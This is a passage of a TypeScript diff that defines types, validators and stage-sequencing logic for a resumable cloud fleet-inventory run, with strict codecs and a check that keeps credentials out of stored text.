+    'dispatch-pages': { ordinal: 'pageOrdinal', text: 'cursor' },
+    'registration-checks': { ordinal: 'registrationOrdinal' },
+    'registration-postprocess': {},
+    'custom-domains': {},
+    'zone-authority': {},
+    'zone-routes': { ordinal: 'zoneOrdinal' },
+    'ordinary-scripts': { text: 'cursor' },
+    'ordinary-script-detail': { ordinal: 'scriptOrdinal' },
+    'route-claims': {},
+    'd1-databases': {},
+    'do-namespaces': {},
+    'r2-buckets': {
+      ordinal: 'jurisdictionOrdinal',
+      maxOrdinal: 2,
+      text: 'startAfter',
+    },
+    finalize: {},
+  });
+
+/** @inline */
+export interface FleetInventoryRunProgress {
+  readonly stage: FleetInventoryStage;
+  readonly generation: number;
+  readonly revision: number;
+  readonly stagedCounts: Readonly<Record<FleetInventoryRowKind, number>>;
+  readonly factCount: number;
+  readonly lastPageDigest?: string;
+  readonly providerRequests: number;
+}
+
+/** @inline */
+export interface FleetInventoryRunRecord {
+  readonly version: 1;
+  readonly operationId: string;
+  readonly optionsDigest: string;
+  readonly options: FleetInventoryRunOptions;
+  readonly state: 'staging' | 'finalized' | 'failed';
+  readonly progress: FleetInventoryRunProgress;
+  readonly updatedAt: string;
+}
+
+export interface FleetInventoryGenerationRef {
+  readonly generation: number;
+  readonly operationId: string;
+  readonly finalizedAtMs: number;
+  readonly rowManifest: Readonly<Record<FleetInventoryRowKind, number>>;
+  readonly factCount: number;
+}
+
+/** @inline */
+export interface FleetInventoryStagedRow {
+  readonly kind: FleetInventoryRowKind;
+  readonly ordinal: number;
+  readonly payload: Readonly<Record<string, unknown>>;
+}
+
+/** @inline */
+export interface FleetInventoryStagedFact {
+  readonly deploymentOrdinal: number;
+  readonly factKind: FleetInventoryDeploymentFactKind;
+  readonly factOrdinal: number;
+  readonly payload: Readonly<Record<string, unknown>>;
+}
+
+/**
+ * One bounded provider stage chunk request.
+ * @inline
+ */
+export interface FleetInventoryStageInput {
+  readonly stage: FleetInventoryStage;
+  readonly options: FleetInventoryRunOptions;
+  readonly progress: FleetInventoryRunProgress;
+  readonly maxProviderRequests: number;
+  readonly signal?: AbortSignal;
+}
+
+/**
+ * One bounded provider stage chunk result; it contains no D1 knowledge.
+ * @inline
+ */
+export interface FleetInventoryStageResult {
+  readonly rows: readonly FleetInventoryStagedRow[];
+  readonly facts: readonly FleetInventoryStagedFact[];
+  readonly nextStage: FleetInventoryStage;
+  readonly pageDigest?: string;
+  readonly providerRequests: number;
+  /** Call-local sanitized provider diagnostics; NEVER persisted. */
+  readonly diagnostics: readonly string[];
+}
+
+/** Injected provider port; the only provider seam the coordinator sees. */
+export interface FleetInventoryProviderContext {
+  advanceStage(
+    input: FleetInventoryStageInput,
+  ): Promise<FleetInventoryStageResult>;
+}
+
+/** @inline */
+export type FleetInventoryFailureReason =
+  | 'cursor-drift'
+  | 'provider-bound-exceeded'
+  | 'operator-abandoned';
+
+/** Every inventory run failure reason. */
+export const FLEET_INVENTORY_FAILURE_REASONS: readonly FleetInventoryFailureReason[] =
+  Object.freeze([
+    'cursor-drift',
+    'provider-bound-exceeded',
+    'operator-abandoned',
+  ]);
+
+/**
+ * Materialization source for one finalized generation.
+ * @inline
+ */
+export interface FleetInventoryGeneration {
+  readonly ref: FleetInventoryGenerationRef;
+  readonly rows: readonly FleetInventoryStagedRow[];
+  readonly facts: readonly FleetInventoryStagedFact[];
+}
+
+/**
+ * Await dependent mutations; calls through this lease handle can overlap.
+ */
+export interface FleetInventoryLease {
+  assertOwned(): Promise<void>;
+  startRun(
+    input: Readonly<{
+      operationId: string;
+      options: FleetInventoryRunOptions;
+      optionsDigest: string;
+    }>,
+  ): Promise<FleetInventoryRunRecord>;
+  readRun(operationId: string): Promise<FleetInventoryRunRecord | undefined>;
+  /**
+   * Bind writes to the account, operation, physical generation and options
+   * digest. Reject duplicate input keys and conflicting immutable payload
+   * bytes before advancing progress; a payload conflict rolls back siblings.
+   * Replay requires the full intended run record and exact staged bytes.
+   * Lease expiry between statements may retain inserts without progress.
+   */
+  commitChunk(
+    input: Readonly<{
+      operationId: string;
+      expectedRevision: number;
+      runRecord: FleetInventoryRunRecord;
+      rows: readonly FleetInventoryStagedRow[];
+      facts: readonly FleetInventoryStagedFact[];
+    }>,
+  ): Promise<FleetInventoryRunRecord>;
+  finalizeRun(
+    input: Readonly<{
+      operationId: string;
+      expectedRevision: number;
+      manifest: Readonly<Record<FleetInventoryRowKind, number>>;
+      factCount: number;
+    }>,
+  ): Promise<FleetInventoryGenerationRef>;
+  failRun(
+    input: Readonly<{
+      operationId: string;
+      expectedRevision: number;
+      reason: FleetInventoryFailureReason;
+    }>,
+  ): Promise<void>;
+  pinGeneration(
+    input: Readonly<{ generation: number; pinnedBy: string }>,
+  ): Promise<void>;
+  releasePin(
+    input: Readonly<{ generation: number; pinnedBy: string }>,
+  ): Promise<void>;
+  pruneInventoryGenerations(
+    input: Readonly<{ limit: number }>,
+  ): Promise<Readonly<{ deleted: number }>>;
+}
+
+/** Durable run-store port consumed by the bounded inventory coordinator. */
+export interface FleetInventoryRunStore {
+  withAccountInventoryLease<T>(
+    operation: (lease: FleetInventoryLease) => Promise<T>,
+  ): Promise<T>;
+  readFinalizedGeneration(
+    generation: number,
+  ): Promise<FleetInventoryGeneration>;
+  latestFinalizedGeneration(): Promise<FleetInventoryGenerationRef | undefined>;
+  readRunByOperation(
+    operationId: string,
+  ): Promise<FleetInventoryRunRecord | undefined>;
+  pinGeneration(
+    input: Readonly<{ generation: number; pinnedBy: string }>,
+  ): Promise<void>;
+  releasePin(
+    input: Readonly<{ generation: number; pinnedBy: string }>,
+  ): Promise<void>;
+  pruneInventoryGenerations(
+    input: Readonly<{ limit: number }>,
+  ): Promise<Readonly<{ deleted: number }>>;
+}
+
+/**
+ * The {@link FleetInventoryRunStore} members a bounded coordinator calls to
+ * read a finalized generation, and gates an injected store on. It lives here
+ * so that a coordinator reads the port's own list rather than restating it.
+ */
+export const FLEET_INVENTORY_GENERATION_READ_MEMBERS = Object.freeze([
+  'readFinalizedGeneration',
+  'readRunByOperation',
+] as const satisfies readonly (keyof FleetInventoryRunStore)[]);
+
+/** Fixed refusal shared by both durable-text controls. */
+export class FleetInventoryFindingValueError extends Error {
+  constructor(readonly field: string) {
+    super(`inventory finding value for '${field}' is not durable-safe`);
+    this.name = 'FleetInventoryFindingValueError';
+  }
+}
+
+export class FleetInventoryStateError extends Error {
+  constructor() {
+    super('fleet inventory state is malformed');
+    this.name = 'FleetInventoryStateError';
+  }
+}
+
+/**
+ * Frozen refusal text for every continuation-token classification failure, so
+ * the three token errors cannot drift apart from one another.
+ */
+const TOKEN_REFUSAL_MESSAGES = Object.freeze({
+  malformed: 'fleet inventory run token is malformed',
+  future: 'fleet inventory run token is ahead of the persisted run',
+  unknownOperation: (operationId: string) =>
+    `no fleet inventory run for operation '${operationId}'`,
+});
+
+export class FleetInventoryRunTokenError extends Error {
+  constructor() {
+    super(TOKEN_REFUSAL_MESSAGES.malformed);
+    this.name = 'FleetInventoryRunTokenError';
+  }
+}
+
+export class FleetInventoryRunTokenOperationError extends Error {
+  constructor(readonly operationId: string) {
+    super(TOKEN_REFUSAL_MESSAGES.unknownOperation(operationId));
+    this.name = 'FleetInventoryRunTokenOperationError';
+  }
+}
+
+export class FleetInventoryRunTokenFutureError extends Error {
+  constructor() {
+    super(TOKEN_REFUSAL_MESSAGES.future);
+    this.name = 'FleetInventoryRunTokenFutureError';
+  }
+}
+
+function malformed(): never {
+  throw new FleetInventoryStateError();
+}
+
+function utf8Length(value: string): number {
+  return new TextEncoder().encode(value).byteLength;
+}
+
+function plainRecord(value: unknown): Record<string, unknown> {
+  if (!value || typeof value !== 'object' || Array.isArray(value)) {
+    return malformed();
+  }
+  return value as Record<string, unknown>;
+}
+
+function exactKeys(
+  value: Record<string, unknown>,
+  required: readonly string[],
+  optional: readonly string[] = [],
+): void {
+  const keys = Object.keys(value).sort();
+  const allowed = new Set([...required, ...optional]);
+  if (
+    !required.every((key) => Object.hasOwn(value, key)) ||
+    keys.some((key) => !allowed.has(key))
+  ) {
+    malformed();
+  }
+}
+
+function boundedString(value: unknown): value is string {
+  return (
+    typeof value === 'string' &&
+    value.length > 0 &&
+    utf8Length(value) <= FLEET_INVENTORY_STRING_BYTE_BOUND
+  );
+}
+
+function safeIntegerAtLeast(value: unknown, minimum = 0): value is number {
+  return Number.isSafeInteger(value) && Number(value) >= minimum;
+}
+
+function canonicalIso(value: unknown): value is string {
+  return (
+    typeof value === 'string' &&
+    Number.isFinite(Date.parse(value)) &&
+    new Date(value).toISOString() === value
+  );
+}
+
+function sha256Hex(value: string): string {
+  return createHash('sha256').update(value).digest('hex');
+}
+
+/**
+ * Credential and length hygiene for EVERY durable inventory string, including
+ * provider resumption cursors, which are legitimately opaque and therefore
+ * never face a name grammar.
+ */
+export function assertNoCredentialInInventoryText(
+  value: string,
+  field: string,
+): void {
+  if (
+    typeof value !== 'string' ||
+    utf8Length(value) > FLEET_INVENTORY_DURABLE_TEXT_BYTE_BOUND
+  ) {
+    throw new FleetInventoryFindingValueError(field);
+  }
+  const lowered = value.toLowerCase();
+  if (CREDENTIAL_SUBSTRINGS.some((marker) => lowered.includes(marker))) {
+    throw new FleetInventoryFindingValueError(field);
+  }
+}
+
+/**
+ * Validator for every value interpolated into a durable finding detail except
+ * the raw host-routing KV key name: the credential control plus the
+ * printable/non-whitespace rule. It deliberately omits the KV-only base64
+ * shape rule so a long dotless script name or dispatch namespace is accepted.
+ * Hostnames are normalized to ASCII by the caller before validation.
+ */
+export function assertInventoryFindingValue(
+  value: string,
+  field: string,
+): void {
+  assertNoCredentialInInventoryText(value, field);
+  if (!PRINTABLE_NON_WHITESPACE.test(value)) {
+    throw new FleetInventoryFindingValueError(field);
+  }
+}
+
+/**
+ * Non-throwing shape predicate used ONLY for the raw host-routing KV key name:
+ * true when the value is printable, non-whitespace, and not base64 or
+ * high-entropy shaped. Credential and length refusals are not part of this
+ * predicate; that site asserts them first and only then consults this shape.
+ */
+export function isInventoryKeyNameShape(value: string): boolean {
+  if (typeof value !== 'string' || !PRINTABLE_NON_WHITESPACE.test(value)) {
+    return false;
+  }
+  return !(
+    value.length >= BASE64_SHAPE_MIN_LENGTH &&
+    BASE64_SHAPE.test(value) &&
+    !value.includes('.')
+  );
+}
+
+/** Zeroed staged-row counts, one entry per row kind. */
+export function emptyFleetInventoryRowCounts(): Readonly<
+  Record<FleetInventoryRowKind, number>
+> {
+  const counts = {} as Record<FleetInventoryRowKind, number>;
+  for (const kind of FLEET_INVENTORY_ROW_KINDS) counts[kind] = 0;
+  return counts;
+}
+
+/**
+ * Canonicalizes caller options, resolving both defaults at start and refusing
+ * missing prefixes with today's `collectFleetInventory` message. An empty
+ * `hostRoutingKvId` is absent, matching the truthiness check the drain uses.
+ */
+export function canonicalFleetInventoryRunOptions(
+  options: CollectFleetInventoryOptions,
+): FleetInventoryRunOptions {
+  const candidate = plainRecord(options);
+  exactKeys(
+    candidate,
+    ['databaseNamePrefix', 'scriptNamePrefix'],
+    ['hostRoutingKvId', 'includeDispatchNamespace', 'includeR2Buckets'],
+  );
+  if (!candidate.databaseNamePrefix || !candidate.scriptNamePrefix) {
+    throw new Error(
+      'databaseNamePrefix and scriptNamePrefix are required for fleet inventory',
+    );
+  }
+  if (
+    typeof candidate.databaseNamePrefix !== 'string' ||
+    typeof candidate.scriptNamePrefix !== 'string' ||
+    (candidate.hostRoutingKvId !== undefined &&
+      typeof candidate.hostRoutingKvId !== 'string') ||
+    (candidate.includeDispatchNamespace !== undefined &&
+      typeof candidate.includeDispatchNamespace !== 'boolean') ||
+    (candidate.includeR2Buckets !== undefined &&
+      typeof candidate.includeR2Buckets !== 'boolean')
+  ) {
+    return malformed();
+  }
+  const hostRoutingKvId = candidate.hostRoutingKvId
+    ? candidate.hostRoutingKvId
+    : undefined;
+  assertNoCredentialInInventoryText(
+    candidate.databaseNamePrefix,
+    'databaseNamePrefix',
+  );
+  assertNoCredentialInInventoryText(
+    candidate.scriptNamePrefix,
+    'scriptNamePrefix',
+  );
+  if (hostRoutingKvId !== undefined) {
+    assertNoCredentialInInventoryText(hostRoutingKvId, 'hostRoutingKvId');
+  }
+  return {
+    ...(hostRoutingKvId === undefined ? {} : { hostRoutingKvId }),
+    databaseNamePrefix: candidate.databaseNamePrefix,
+    scriptNamePrefix: candidate.scriptNamePrefix,
+    includeDispatchNamespace:
+      candidate.includeDispatchNamespace ?? hostRoutingKvId !== undefined,
+    includeR2Buckets: candidate.includeR2Buckets ?? false,
+  };
+}
+
+/** Digest over the canonical options, stable under caller key order. */
+export function fleetInventoryOptionsDigest(
+  options: FleetInventoryRunOptions,
+): string {
+  const canonical = fleetInventoryRunOptionsFromUnknown(options);
+  const entries = Object.entries(canonical).sort(([left], [right]) =>
+    left < right ? -1 : 1,
+  );
+  return sha256Hex(JSON.stringify(entries));
+}
+
+function fleetInventoryRunOptionsFromUnknown(
+  value: unknown,
+): FleetInventoryRunOptions {
+  const candidate = plainRecord(value);
+  exactKeys(
+    candidate,
+    [
+      'databaseNamePrefix',
+      'scriptNamePrefix',
+      'includeDispatchNamespace',
+      'includeR2Buckets',
+    ],
+    ['hostRoutingKvId'],
+  );
+  if (
+    !boundedString(candidate.databaseNamePrefix) ||
+    !boundedString(candidate.scriptNamePrefix) ||
+    (candidate.hostRoutingKvId !== undefined &&
+      !boundedString(candidate.hostRoutingKvId)) ||
+    typeof candidate.includeDispatchNamespace !== 'boolean' ||
+    typeof candidate.includeR2Buckets !== 'boolean'
+  ) {
+    return malformed();
+  }
+  assertNoCredentialInInventoryText(
+    candidate.databaseNamePrefix,
+    'databaseNamePrefix',
+  );
+  assertNoCredentialInInventoryText(
+    candidate.scriptNamePrefix,
+    'scriptNamePrefix',
+  );
+  if (candidate.hostRoutingKvId !== undefined) {
+    assertNoCredentialInInventoryText(
+      candidate.hostRoutingKvId,
+      'hostRoutingKvId',
+    );
+  }
+  return {
+    ...(candidate.hostRoutingKvId === undefined
+      ? {}
+      : { hostRoutingKvId: candidate.hostRoutingKvId }),
+    databaseNamePrefix: candidate.databaseNamePrefix,
+    scriptNamePrefix: candidate.scriptNamePrefix,
+    includeDispatchNamespace: candidate.includeDispatchNamespace,
+    includeR2Buckets: candidate.includeR2Buckets,
+  };
+}
+
+function stageStep(value: unknown): FleetInventoryStageStep {
+  if (
+    typeof value !== 'string' ||
+    !FLEET_INVENTORY_STAGE_ORDER.includes(value as FleetInventoryStageStep)
+  ) {
+    return malformed();
+  }
+  return value as FleetInventoryStageStep;
+}
+
+/** Strict stage codec; ordinals and resumption cursors are bounded. */
+export function fleetInventoryStageFromUnknown(
+  value: unknown,
+): FleetInventoryStage {
+  const candidate = plainRecord(value);
+  const step = stageStep(candidate.step);
+  const shape = STAGE_SHAPES[step];
+  exactKeys(
+    candidate,
+    ['step', ...(shape.ordinal ? [shape.ordinal] : [])],
+    shape.text ? [shape.text] : [],
+  );
+  const ordinal = shape.ordinal ? candidate[shape.ordinal] : undefined;
+  if (
+    shape.ordinal &&
+    (!safeIntegerAtLeast(ordinal) ||
+      (shape.maxOrdinal !== undefined && ordinal > shape.maxOrdinal))
+  ) {
+    return malformed();
+  }
+  const text = shape.text ? candidate[shape.text] : undefined;
+  if (text !== undefined) {
+    if (!boundedString(text)) return malformed();
+    // The cursor carve-out: resumption text is opaque, so it faces the
+    // credential control only, never the finding-detail grammar.
+    assertNoCredentialInInventoryText(text, `stage.${String(shape.text)}`);
+  }
+  // The validated candidate keys are exactly one union member's keys.
+  return {
+    step,
+    ...(shape.ordinal ? { [shape.ordinal]: ordinal } : {}),
+    ...(shape.text && text !== undefined ? { [shape.text]: text } : {}),
+  } as FleetInventoryStage;
+}
+
+function stageEnabled(
+  step: FleetInventoryStageStep,
+  options: FleetInventoryRunOptions,
+  counts: Readonly<Record<FleetInventoryRowKind, number>>,
+): boolean {
+  const hostRouting = options.hostRoutingKvId !== undefined;
+  switch (step) {
+    case 'host-kv-keys':
+      return hostRouting;
+    // The single-pass drain lists the dispatch namespace whenever the caller
+    // asks for it, even with no host-routing registry to cross-check, so the
+    // listing stage follows `includeDispatchNamespace` alone.
+    case 'dispatch-pages':
+      return options.includeDispatchNamespace;
+    // Postprocess owns the unknown-dispatch-script findings, the host-route
+    // owner check, and the namespace attestation, so either input enables it.
+    case 'registration-postprocess':
+      return hostRouting || options.includeDispatchNamespace;
+    case 'host-kv-values':
+    case 'registration-checks':
+      return hostRouting && counts.registration > 0;
+    case 'zone-routes':
+      return counts.meta > 0;
+    case 'ordinary-script-detail':
+      return counts.deployment > 0;
+    case 'r2-buckets':
+      return options.includeR2Buckets;
+    default:
+      return true;
+  }
+}
+
+function stageEntry(step: FleetInventoryStageStep): FleetInventoryStage {
+  const shape = STAGE_SHAPES[step];
+  // Entering a stage always starts at its first item.
+  return {
+    step,
+    ...(shape.ordinal ? { [shape.ordinal]: 0 } : {}),
+  } as FleetInventoryStage;
+}
+
+/**
+ * Pure stage successor: no provider or D1 input. Stage skipping uses the same
+ * conditions as the single-pass drain, read from the canonical options and the
+ * staged-row counts that feed the per-item stages. Intra-stage ordinal and
+ * cursor advancement belongs to the provider engine, not to this successor.
+ */
+export function nextStage(
+  stage: FleetInventoryStage,
+  options: FleetInventoryRunOptions,
+  counts: Readonly<Record<FleetInventoryRowKind, number>>,
+): FleetInventoryStage {
+  const current = fleetInventoryStageFromUnknown(stage);
+  const canonicalOptions = fleetInventoryRunOptionsFromUnknown(options);
+  const canonicalCounts = rowCountsFromUnknown(counts);
+  if (current.step === 'finalize') return { step: 'finalize' };
+  for (
+    let index = FLEET_INVENTORY_STAGE_ORDER.indexOf(current.step) + 1;
+    index < FLEET_INVENTORY_STAGE_ORDER.length;
+    index += 1
+  ) {
+    const step = FLEET_INVENTORY_STAGE_ORDER[index];
+    if (step && stageEnabled(step, canonicalOptions, canonicalCounts)) {
+      return stageEntry(step);
+    }
+  }
+  return { step: 'finalize' };
+}
+
+/** The first enabled stage for a run that has staged nothing yet. */
+export function initialFleetInventoryStage(
+  options: FleetInventoryRunOptions,
+): FleetInventoryStage {
+  const canonicalOptions = fleetInventoryRunOptionsFromUnknown(options);
+  const counts = emptyFleetInventoryRowCounts();
+  for (const step of FLEET_INVENTORY_STAGE_ORDER) {
+    if (stageEnabled(step, canonicalOptions, counts)) return stageEntry(step);
+  }
+  return { step: 'finalize' };
+}
+
+function rowCountsFromUnknown(
+  value: unknown,
+): Readonly<Record<FleetInventoryRowKind, number>> {
+  const candidate = plainRecord(value);
+  exactKeys(candidate, FLEET_INVENTORY_ROW_KINDS);
+  const counts = {} as Record<FleetInventoryRowKind, number>;
+  for (const kind of FLEET_INVENTORY_ROW_KINDS) {
+    const count = candidate[kind];
+    if (!safeIntegerAtLeast(count)) return malformed();
+    counts[kind] = count;
+  }
+  return counts;
+}
+
+function progressFromUnknown(value: unknown): FleetInventoryRunProgress {
+  const candidate = plainRecord(value);
+  exactKeys(
+    candidate,
+    [
+      'stage',
+      'generation',
+      'revision',
+      'stagedCounts',
+      'factCount',
+      'providerRequests',
+    ],
+    ['lastPageDigest'],
+  );
+  if (
+    !safeIntegerAtLeast(candidate.generation, 1) ||
+    !safeIntegerAtLeast(candidate.revision) ||
+    !safeIntegerAtLeast(candidate.factCount) ||
+    !safeIntegerAtLeast(candidate.providerRequests) ||
+    (candidate.lastPageDigest !== undefined &&
+      (typeof candidate.lastPageDigest !== 'string' ||
+        !SHA256.test(candidate.lastPageDigest)))
+  ) {
+    return malformed();
+  }
+  return {
+    stage: fleetInventoryStageFromUnknown(candidate.stage),
+    generation: candidate.generation,
+    revision: candidate.revision,
+    stagedCounts: rowCountsFromUnknown(candidate.stagedCounts),
+    factCount: candidate.factCount,
+    ...(candidate.lastPageDigest === undefined
+      ? {}
+      : { lastPageDigest: candidate.lastPageDigest }),
+    providerRequests: candidate.providerRequests,
+  };
+}
+
+function boundedPlain(value: unknown, maxBytes: number): unknown {
+  let plain: unknown;
+  try {
+    plain = cloneBoundedPlainData(value, {
+      maxDepth: DEPTH_BOUND,
+      maxNodes: NODE_BOUND,
+      maxScalarBytes: maxBytes,
+      maxSerializedBytes: maxBytes,
+      error: () => new FleetInventoryStateError(),
+    });
+    Reflect.apply(STRUCTURED_CLONE, undefined, [value]);
+  } catch {
+    return malformed();
+  }
+  return plain;
+}
+
+/** Strict run-record codec; every bound fails closed and never truncates. */
+export function fleetInventoryRunRecordFromUnknown(
+  value: unknown,
+): FleetInventoryRunRecord {
+  const candidate = plainRecord(
+    boundedPlain(value, FLEET_INVENTORY_RUN_RECORD_BYTE_BOUND),
+  );
+  exactKeys(candidate, [
+    'version',
+    'operationId',
+    'optionsDigest',
+    'options',
+    'state',
+    'progress',
+    'updatedAt',
+  ]);
+  if (
+    candidate.version !== 1 ||
+    typeof candidate.operationId !== 'string' ||
+    !UUID_V4.test(candidate.operationId) ||
+    typeof candidate.optionsDigest !== 'string' ||
+    !SHA256.test(candidate.optionsDigest) ||
+    (candidate.state !== 'staging' &&
+      candidate.state !== 'finalized' &&
+      candidate.state !== 'failed') ||
+    !canonicalIso(candidate.updatedAt)
+  ) {
+    return malformed();
+  }
+  const options = fleetInventoryRunOptionsFromUnknown(candidate.options);
+  if (fleetInventoryOptionsDigest(options) !== candidate.optionsDigest) {
+    return malformed();
+  }
+  return {
+    version: 1,
+    operationId: candidate.operationId,
+    optionsDigest: candidate.optionsDigest,
+    options,
+    state: candidate.state,
+    progress: progressFromUnknown(candidate.progress),
+    updatedAt: candidate.updatedAt,
+  };
+}
+
+function payloadFromUnknown(
+  value: unknown,
+  field: string,
+): Readonly<Record<string, unknown>> {
+  const payload = plainRecord(
+    boundedPlain(value, FLEET_INVENTORY_STAGED_PAYLOAD_BYTE_BOUND),
+  );
+  for (const [key, entry] of Object.entries(payload)) {
+    assertNoCredentialInInventoryText(key, `${field}.key`);
+    if (typeof entry === 'string') {
+      assertNoCredentialInInventoryText(entry, `${field}.${key}`);
+    }
+  }
+  return { ...payload };
+}
+
+/** Strict staged-row codec with an exact-key table and a bounded payload. */
+export function fleetInventoryStagedRowFromUnknown(
+  value: unknown,
+): FleetInventoryStagedRow {
+  const candidate = plainRecord(value);
+  exactKeys(candidate, ['kind', 'ordinal', 'payload']);
+  if (
+    typeof candidate.kind !== 'string' ||
+    !FLEET_INVENTORY_ROW_KINDS.includes(
+      candidate.kind as FleetInventoryRowKind,
+    ) ||
+    !safeIntegerAtLeast(candidate.ordinal)
+  ) {
+    return malformed();
+  }
+  return {
+    kind: candidate.kind as FleetInventoryRowKind,
+    ordinal: candidate.ordinal,
+    payload: payloadFromUnknown(candidate.payload, 'row.payload'),
+  };
+}
+
+/** Strict deployment-fact codec with an exact-key table. */
+export function fleetInventoryStagedFactFromUnknown(
+  value: unknown,
+): FleetInventoryStagedFact {
+  const candidate = plainRecord(value);
+  exactKeys(candidate, [
+    'deploymentOrdinal',
+    'factKind',
+    'factOrdinal',
+    'payload',
+  ]);
+  if (
+    !safeIntegerAtLeast(candidate.deploymentOrdinal) ||
+    typeof candidate.factKind !== 'string' ||
+    !FLEET_INVENTORY_DEPLOYMENT_FACT_KINDS.includes(
+      candidate.factKind as FleetInventoryDeploymentFactKind,
+    ) ||
+    !safeIntegerAtLeast(candidate.factOrdinal)
+  ) {
+    return malformed();
+  }
+  return {
+    deploymentOrdinal: candidate.deploymentOrdinal,
+    factKind: candidate.factKind as FleetInventoryDeploymentFactKind,
+    factOrdinal: candidate.factOrdinal,
+    payload: payloadFromUnknown(candidate.payload, 'fact.payload'),
+  };
+}
+
+/** Strict generation-reference codec; the manifest carries every row kind. */
+export function fleetInventoryGenerationRefFromUnknown(
+  value: unknown,
+): FleetInventoryGenerationRef {
+  const candidate = plainRecord(value);
+  exactKeys(candidate, [
+    'generation',
+    'operationId',
+    'finalizedAtMs',
+    'rowManifest',
+    'factCount',
+  ]);
+  if (
+    !safeIntegerAtLeast(candidate.generation, 1) ||
+    typeof candidate.operationId !== 'string' ||
+    !UUID_V4.test(candidate.operationId) ||
+    !safeIntegerAtLeast(candidate.finalizedAtMs) ||
+    !safeIntegerAtLeast(candidate.factCount)
+  ) {
+    return malformed();
+  }
+  return {
+    generation: candidate.generation,
+    operationId: candidate.operationId,
+    finalizedAtMs: candidate.finalizedAtMs,
+    rowManifest: rowCountsFromUnknown(candidate.rowManifest),
+    factCount: candidate.factCount,
+  };
+}
+
+/** Strict token codec; the token carries nothing but version and position. */
+export function parseFleetInventoryRunToken(
+  value: unknown,
+): FleetInventoryRunToken {
+  let plain: unknown;
+  try {
+    plain = cloneBoundedPlainData(value, {
+      maxDepth: 4,
+      maxNodes: 16,
+      maxScalarBytes: FLEET_INVENTORY_TOKEN_BYTE_BOUND,
+      maxSerializedBytes: FLEET_INVENTORY_TOKEN_BYTE_BOUND,
+      error: () => new FleetInventoryRunTokenError(),
+    });
+    Reflect.apply(STRUCTURED_CLONE, undefined, [value]);
+  } catch {
+    throw new FleetInventoryRunTokenError();
+  }
+  let candidate: Record<string, unknown>;
+  try {
+    candidate = plainRecord(plain);
+    exactKeys(candidate, ['version', 'operationId', 'revision']);
+  } catch {
+    throw new FleetInventoryRunTokenError();
+  }
+  if (
+    candidate.version !== 1 ||
+    typeof candidate.operationId !== 'string' ||
+    !UUID_V4.test(candidate.operationId) ||
+    !safeIntegerAtLeast(candidate.revision)
+  ) {
+    throw new FleetInventoryRunTokenError();
+  }
+  return {
+    version: 1,
+    operationId: candidate.operationId,
+    revision: candidate.revision,
+  };
+}
+
+/**
+ * Throws `FleetInventoryRunTokenError` for a malformed token, then
+ * `FleetInventoryRunTokenOperationError` when the run is absent or belongs to
+ * another operation, then `FleetInventoryRunTokenFutureError` when the token is
+ * ahead of the persisted progress; otherwise returns `current` on equality and
+ * `stale` when the token is behind. Account identity is trusted config, so a
+ * foreign token simply misses its run row.
+ */
+export function classifyFleetInventoryRunToken(
+  token: FleetInventoryRunToken,
+  run: FleetInventoryRunRecord | undefined,
+): 'current' | 'stale' {
+  const parsed = parseFleetInventoryRunToken(token);
+  if (!run || run.operationId !== parsed.operationId) {
+    throw new FleetInventoryRunTokenOperationError(parsed.operationId);
+  }
+  if (parsed.revision > run.progress.revision) {
+    throw new FleetInventoryRunTokenFutureError();
+  }
+  return parsed.revision === run.progress.revision ? 'current' : 'stale';
+}
+
+/**
+ * Position identity for one stage: the stage's own keys in a stable order.
+ * Both the provider engine and the coordinator compare stage POSITIONS, not
+ * object identity, so the comparison lives once in this neutral leaf.
+ */
+export function fleetInventoryStageKey(stage: FleetInventoryStage): string {
+  return JSON.stringify(
+    Object.entries(stage).sort(([left], [right]) => (left < right ? -1 : 1)),
+  );
+}
+
+/**
+ * Successor progress for one committed chunk.
+ *
+ * `lastPageDigest` is POSITION-SCOPED: the provider engine compares it only
+ * when the persisted stage deep-equals the stage it is asked to execute, so it
+ * must be dropped as soon as the run moves to a different stage position.
+ */
+export function advanceFleetInventoryProgress(
+  progress: FleetInventoryRunProgress,
+  executed: FleetInventoryStage,
+  result: FleetInventoryStageResult,
+): FleetInventoryRunProgress {
+  const stagedCounts = { ...progress.stagedCounts };
+  for (const row of result.rows) {
+    stagedCounts[row.kind] += 1;
+  }
+  const samePosition =
+    fleetInventoryStageKey(result.nextStage) ===
+    fleetInventoryStageKey(executed);
+  return {
+    stage: result.nextStage,
+    generation: progress.generation,
+    revision: progress.revision + 1,
+    stagedCounts,
+    factCount: progress.factCount + result.facts.length,
+    ...(samePosition && result.pageDigest !== undefined
+      ? { lastPageDigest: result.pageDigest }
+      : {}),
+    providerRequests: progress.providerRequests + result.providerRequests,
+  };
+}
+
+/** The progress a freshly started run carries before its first chunk. */
+export function initialFleetInventoryProgress(
+  stage: FleetInventoryStage,
+  generation: number,
+): FleetInventoryRunProgress {
+  return {
+    stage,
+    generation,
+    revision: 0,
+    stagedCounts: emptyFleetInventoryRowCounts(),
+    factCount: 0,
+    providerRequests: 0,
+  };
+}
+
+function malformedGeneration(): never {
+  throw new Error('fleet inventory generation row payload is malformed');
+}
+
+function text(payload: Readonly<Record<string, unknown>>, key: string): string {
+  const value = payload[key];
+  return typeof value === 'string' ? value : malformedGeneration();
+}
+
+function optionalText(
+  payload: Readonly<Record<string, unknown>>,
+  key: string,
+): string | undefined {
+  const value = payload[key];
+  if (value === undefined) return undefined;
+  return typeof value === 'string' ? value : malformedGeneration();
+}
+
+function integer(
+  payload: Readonly<Record<string, unknown>>,
+  key: string,
+): number {
+  const value = payload[key];
+  return Number.isSafeInteger(value)
+    ? (value as number)
+    : malformedGeneration();
+}
+
+function withoutRecord(
+  payload: Readonly<Record<string, unknown>>,
+): Record<string, unknown> {
+  const { record: _record, ...rest } = payload;
+  return rest;
+}
+
+type FactIndex = ReadonlyMap<
+  number,
+  ReadonlyMap<
+    FleetInventoryDeploymentFactKind,
+    readonly Readonly<Record<string, unknown>>[]
+  >
+>;
+
+function indexFacts(facts: readonly FleetInventoryStagedFact[]): FactIndex {
+  const index = new Map<
+    number,
+    Map<FleetInventoryDeploymentFactKind, FleetInventoryStagedFact[]>
+  >();
+  for (const fact of facts) {
+    const byKind =
+      index.get(fact.deploymentOrdinal) ??
+      new Map<FleetInventoryDeploymentFactKind, FleetInventoryStagedFact[]>();
+    index.set(fact.deploymentOrdinal, byKind);
+    const bucket = byKind.get(fact.factKind) ?? [];
+    byKind.set(fact.factKind, bucket);
+    bucket.push(fact);
+  }
+  const ordered = new Map<
+    number,
+    Map<
+      FleetInventoryDeploymentFactKind,
+      readonly Readonly<Record<string, unknown>>[]
+    >
+  >();
+  for (const [deploymentOrdinal, byKind] of index) {
+    const payloads = new Map<
+      FleetInventoryDeploymentFactKind,
